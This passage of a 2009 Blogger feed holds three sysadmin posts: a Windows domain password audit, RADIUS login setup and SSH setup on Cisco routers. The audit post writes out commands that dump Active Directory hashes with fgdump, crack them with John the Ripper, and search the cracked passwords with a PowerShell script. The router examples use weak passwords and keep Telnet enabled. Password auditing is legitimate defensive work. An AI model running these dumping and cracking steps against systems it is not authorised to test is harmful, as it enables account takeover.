src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-5521497882101727876</id><published>2009-09-13T14:44:00.005+01:00</published><updated>2009-09-13T15:07:42.757+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Password Audit'/><category scheme='http://www.blogger.com/atom/ns#' term='PowerShell'/><title type='text'>Password Auditing with Fgdump, John the Ripper &amp; PowerShell</title><content type='html'>As a break from my Cisco studying I thought I'd post how I perform a password audit in a Windows 2003 environment using freely available tools and a PowerShell script.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;fgdump&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I dump the password hashes from AD using fgdump and the command below.   Password history is also dumped out. Checking out users password history can be very useful at predicting future password choice as it will reveal patterns in password selection.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;fgdump.exe -h Server01  -u home\administrator -p MySuperPassword -T 5&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In the command above -h is the host I'm grabbing the passwords from. The -u and -p are valid username and password.  -T 5 is running 5 threads to speed things up a bit.&lt;br /&gt;&lt;br /&gt;The passwords are dumped out to Server01.pwdump in the same directory as where fgdump is located. From there I open the PWDump file with notepad and remove all the computer accounts from the bottom of the file so I am just left with usernames and password hashes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;John The Ripper&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now I use JTR to crack the Lan Manager hashes.  I could use bruteforce or dictionary attacks againast the hashes but in the command below I'm just going to use bruteforce.  All LM hashes cracked will display in uppercase, but the actual passwords will like be of mixed case depending on the security policy. Passwords over 14 characters long will display as "No Password" as these are stored as NTLM Hashes.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;john --incremental=lanman --session=September Server01.pwdump&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pressing the spacebar whilst JTR is cracking will give you an update on the progress. If I need to abort the session (Ctrl-C) I can restore it later using:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;john --restore=September&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I can view the cracked passwords and output them to a file using:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;john --show Server01.pwdump &gt;Server01-Sept-Cracked.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The above command will output a list of all the accounts including those not cracked (password will be ???????).  If I just wanted the passwords I would just pipe Johns output to the find command.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;john --show Server01.pwdump &gt;Server01-Sept-Cracked.txt | find /i /v "?????" &gt;Server01-Sept-CrackedOnly.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;PowerShell&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ok.  So I have my cracked password file and I'm good to go. I've created a script that I run which prompts me for my cracked password file and gives me the following options:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Find a users password&lt;/li&gt;&lt;li&gt;Find a users password with history&lt;/li&gt;&lt;li&gt;View top 20 popular passwords&lt;/li&gt;&lt;li&gt;Search for occurrences of a particular password&lt;/li&gt;&lt;li&gt;Password count (not including history)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Password-Audit.ps1&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#This Section Imports Passwords from JTR file&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Cls&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;"`n"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$result = New-Object System.Collections.ArrayList;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;get-content (read-host "Enter path to JTR export file.  Large files may take a few minutes to import") |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Foreach-object {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$arr = $_.Split("/:");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$temp = ('' | Select-Object Name,Password);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$temp.Name=$arr[0];&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$temp.Password=$arr[1];&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$result.Add($temp) | Out-Null&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#This is the Menu Section&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Function Menu {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;"`n"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Write-Host "Press 1 to find a users password" -ForegroundColor Yellow&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Write-Host "Press 2 to see a users password with history" -ForegroundColor Yellow&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Write-Host "Press 3 to see top 20 popular passwords.  This may take a few minutes" -ForegroundColor Yellow&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Write-Host "Press 4 to search for occurrances of a particular password" -ForegroundColor Yellow&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Write-Host "Press 5 for Password count (not including history)" -ForegroundColor Yellow&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Write-Host "Press any other key to quit" -ForegroundColor Yellow&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;"`n"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$Number = Read-Host "Select an Option"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;switch ($Number) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;1 {             &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Write-Host "Users Password" -ForegroundColor Red&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$Name = read-host "UserName?"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$Result | where { $_.Name -match "$Name" }| where { $_.Name -notmatch "_history_" }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Menu&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;2 {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Write-Host "Users Password with history" -ForegroundColor Red&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$HistoryName = read-host "UserName?"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$Result | where { $_.Name -match "$HistoryName" }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Menu&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;        &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;3 {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Write-Host "Top 20 Passwords" -ForegroundColor Red&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$result | group password | sort count -Descending | select Count,Name -First 20&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Menu&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;4 {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Write-Host "Weak Passwords" -ForegroundColor Red&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$Password = read-host "Password?"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$Result | where { $_.Password -match "$Password" }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Menu&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;5 {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Write-Host "Total Passwords (Not including History)" -ForegroundColor Red&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;($Result | where { $_.Name -notmatch "_history_" }).count&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Menu&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;default {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;"You pressed something else. Goodbye"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;}}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#Runs the menu&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Menu&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From here I can educate particular users regarding password choice or tailor user education to focus on problem areas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I may well extend the script to look for other useful information when I have more time.  The only thing I don't like is the output format if I choose option 3 (top 20 passwords) first.&lt;br /&gt;&lt;br /&gt;Thanks to EBGreen in the Powershell Community forums for his help with some of the script.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-5521497882101727876?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/5521497882101727876/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=5521497882101727876&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5521497882101727876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5521497882101727876'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/09/password-auditing-with-fgdump-john.html' title='Password Auditing with Fgdump, John the Ripper &amp; PowerShell'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-8721047926522387056</id><published>2009-09-09T22:38:00.006+01:00</published><updated>2009-09-14T21:01:13.066+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RADIUS'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>Using RADIUS to Authenticate Logins</title><content type='html'>&lt;div&gt;In this post i'll detail how to set up a Windows IAS RADIUS server to authenticate user login on a router.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Windows IAS Server Setup&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Create a Windows Security group with the users you want to allow access to the routers&lt;/li&gt;&lt;li&gt;Enable the user accounts to have Dial-in Access.&lt;/li&gt;&lt;li&gt;Install IAS on the server (from Add Remove programs).&lt;/li&gt;&lt;li&gt;Create a new cisco RADIUS Client, point it to the Router and supply a shared key. Set the Grant Remote Access.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/Sqgj7B1vZoI/AAAAAAAABO4/tS5BRUPwF3Q/s1600-h/rad1.PNG"&gt;&lt;img src="http://2.bp.blogspot.com/_vZAp7b1QDw8/Sqgj7B1vZoI/AAAAAAAABO4/tS5BRUPwF3Q/s320/rad1.PNG" alt="" id="BLOGGER_PHOTO_ID_5379589251907151490" style="cursor: pointer; width: 320px; height: 228px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/Sqgj7B1vZoI/AAAAAAAABO4/tS5BRUPwF3Q/s1600-h/rad1.PNG"&gt;&lt;/a&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;5. Create a new Remote Access Policy with the following settings:&lt;/div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="white-space: normal;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Windows Group (point this to the group you created)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="white-space: normal;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Edit the profile and set the autentication to PAP&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="white-space: normal;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Under the advanced tab set the service type value to login &amp;amp; remove Framed-Protocol.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SqgkKcQITnI/AAAAAAAABPA/0hddFRzfNIE/s1600-h/rad2.PNG"&gt;&lt;img src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SqgkKcQITnI/AAAAAAAABPA/0hddFRzfNIE/s320/rad2.PNG" alt="" id="BLOGGER_PHOTO_ID_5379589516695195250" style="cursor: pointer; width: 320px; height: 229px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Thats really it.  A detailed tutorial on setting up your IAS server can be found &lt;a href="http://articles.techrepublic.com.com/5100-10878_11-6180954.html"&gt;here&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Router Setup&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Here I am going to configure my router to use AAA Authorization to authorise access by looking at the user credentials in Active Directory (AD).  Remember, only AD users in the group I created above will be able to login with their windows credentials.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;First I'll talk you through what I'm doing in the following commands.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I'm creating a local user on the router called syn.  This is so I can still get into the router if my RADIUS server fails. &lt;/div&gt;&lt;div&gt;I enable AAA and I create a new entry in AAA to point to my RADIUS server (using the default ports) and give it a the key "cisco" to match what we set up on the RADIUS server.&lt;/div&gt;&lt;div&gt;I then enable my ethernet interface on the same LAN as the RADIUS server as the RADIUS source interface and create a AAA authentication login method list called AuthList.  This rule will first look to authenticate by RADIUS and then locally if the RADIUS server fails.  I then apply the method list to my VTY (Telnet/SSH) ports.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R1&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;en&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Password:&lt;/div&gt;&lt;div&gt;R1#&lt;/div&gt;&lt;div&gt;R1#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;conf t&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Enter configuration commands, one per line.  End with CNTL/Z.&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;user syn password cisco&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;aaa new-model&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;radius-server host 10.0.1.230 auth-port 1645 acct-port 1646 key cisco&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;ip radius source-interface ethernet 1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;aaa authentication login AuthList group radius local&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;line vty 0 4&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-line)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;login authentication AuthList&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-line)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;exit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;exit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1#&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;A detailed tutorial can be found &lt;a href="http://articles.techrepublic.com.com/5100-10878_11-6182945.html?tag=rbxccnbtr1#"&gt;here&lt;/a&gt;.  Just remember to enable the user account for Dial-in access in the AD account properties.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;After setting this up I also needed to configure RADIUS authentication on my Console port and Aux port using the following for each port:&lt;br /&gt;&lt;br /&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;line console 0&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-line)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;login authentication AuthList&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-line)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;exit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;line aux 0&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-line)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;login authentication AuthList&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-line)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;exit&lt;br /&gt;&lt;/span&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;exit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1#&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Troubleshooting&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Debugging on the router can be achieved with the following commands:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R1# &lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;terminal monitor&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R1# &lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;debug aaa authentication&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The command below will test a login from the router.  You should be able to check your event logs and IAS logs on the RADIUS server to see this account authenticate.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R1# &lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;test aaa group radius syn  SuperStrongPassword port 1645 new-code&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And of course on the RADIUS server check the IAS logs (C:\windows\System32\Logfiles) and also the Event logs when troubleshooting.  I hit a real issue after setting up which after a good google session turned up nothing, the event log told me the answer straight off (allow Dial-Up on the user account BTW).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-8721047926522387056?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/8721047926522387056/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=8721047926522387056&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/8721047926522387056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/8721047926522387056'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/09/using-radius-to-authenticate-logins.html' title='Using RADIUS to Authenticate Logins'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_vZAp7b1QDw8/Sqgj7B1vZoI/AAAAAAAABO4/tS5BRUPwF3Q/s72-c/rad1.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-5681194042214496812</id><published>2009-09-08T22:52:00.012+01:00</published><updated>2009-09-08T23:24:22.095+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SSH'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>Setting Up SSH on a Cisco Router</title><content type='html'>In this post I'll demonstrate how to configure SSH on a cisco router.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Below are the commands I used to name the router and provide a domain name.  These details are required rior to generating the key.  I then generate a 2048 bit RSA key (this took abolut 10 minutes, I should have done 1024).  Following the key creation I configure SSH to have a 60 minute timeout, to use SSH version 2 and to exit after 3 failed login attempts.  Finally I assign SSH and Telnet (for backup) to my VTY ports and create a user called Bob.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Router&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;enable&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Password:&lt;/div&gt;&lt;div&gt;Router#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;configure terminal&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Enter configuration commands, one per line.  End with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;CNTL&lt;/span&gt;/Z.&lt;/div&gt;&lt;div&gt;Router(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;config&lt;/span&gt;)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;hostname&lt;/span&gt; R1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;config&lt;/span&gt;)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;ip&lt;/span&gt; domain-name home.local&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;config&lt;/span&gt;)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;crypto&lt;/span&gt; key generate &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;rsa&lt;/span&gt; general-keys modulus 2048&lt;/span&gt;&lt;/div&gt;&lt;div&gt;The name for the keys will be: R1.home.local&lt;/div&gt;&lt;div&gt;% The key modulus size is 2048 bits&lt;/div&gt;&lt;div&gt;% Generating 2048 bit &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;RSA&lt;/span&gt; keys, keys will be non-exportable...[OK]&lt;/div&gt;&lt;div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;ip ssh time-out 60&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;ip ssh authentication-retries 3&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;ip ssh version 2&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;line vty 0 4&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-line)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;transport input ssh telnet&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-line)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;exit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;aaa new-model&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;username bob password 0 cisco&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;exit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;I use Putty to connect with SSH and &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_23"&gt;I'm&lt;/span&gt; presented with a dialogue to accept the certificate as shown below.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SqbTVoVf88I/AAAAAAAABOY/fLttyCllyAE/s1600-h/ssh-cert.PNG"&gt;&lt;img src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SqbTVoVf88I/AAAAAAAABOY/fLttyCllyAE/s320/ssh-cert.PNG" border="0" alt="" id="BLOGGER_PHOTO_ID_5379219173498942402" style="cursor: pointer; width: 320px; height: 202px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I then log in with my bob credentials.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 